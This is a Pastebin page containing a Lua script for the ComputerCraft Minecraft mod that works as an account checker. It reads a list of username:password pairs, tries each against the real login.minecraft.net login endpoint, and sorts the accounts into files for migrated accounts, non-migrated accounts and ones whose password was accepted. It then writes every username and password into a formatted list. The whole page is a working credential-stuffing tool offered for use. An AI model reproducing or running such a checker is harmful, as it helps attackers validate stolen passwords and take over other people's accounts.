Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local tLines = {}
- local line
- write("File Name: ")
- local file = io.open(read(), "r")
- fs.makeDir("accounts")
- migrated = fs.open("accounts/migrated", "w")
- normal = fs.open("accounts/nonmigrated", "w")
- yay = fs.open("accounts/correct", "w")
- formatted = fs.open("accounts/format", "w")
- if file then
- shell.run("clear")
- while true do
- line = file:read()
- if not line then break end
- tLines[#tLines+1] = line
- user = line
- pass = "DEFAULT"
- tes345 = string.find(line, ":")
- if string.find(user, ":") then
- user = string.sub(line, 1, tonumber(tes345)-1)
- pass = string.sub(line, tonumber(tes345)+1, string.len(line))
- end
- http.request("http://login.minecraft.net/?user=" ..user.. "&password=" ..pass.. "&version=12")
- local event, url, response = os.pullEvent()
- if event == "http_success" then
- _sResponse = { response.readAll() }
- if string.find(tostring(_sResponse[1]), "migrated") then
- migrated.writeLine(user)
- print(user.. " <MIGRATED>")
- else
- normal.writeLine(user)
- if string.find(tostring(_sResponse[1]), "deprecated") then
- yay.writeLine(user)
- print(user.. " <NON-MIGRATED> <CORRECT PASS> ")
- else
- print(user.. " <NON-MIGRATED>")
- end
- end
- response.close()
- formatted.writeLine("Username: " ..user)
- formatted.writeLine("Password: " ..pass)
- formatted.writeLine("--")
- else
- status = (line.. " <ERROR>")
- end
- end
- migrated.close()
- normal.close()
- yay.close()
- formatted.close()
- file.close()
- else
- print("File does not exist!")
- end
Advertisement
Add Comment
Please, Sign In to add comment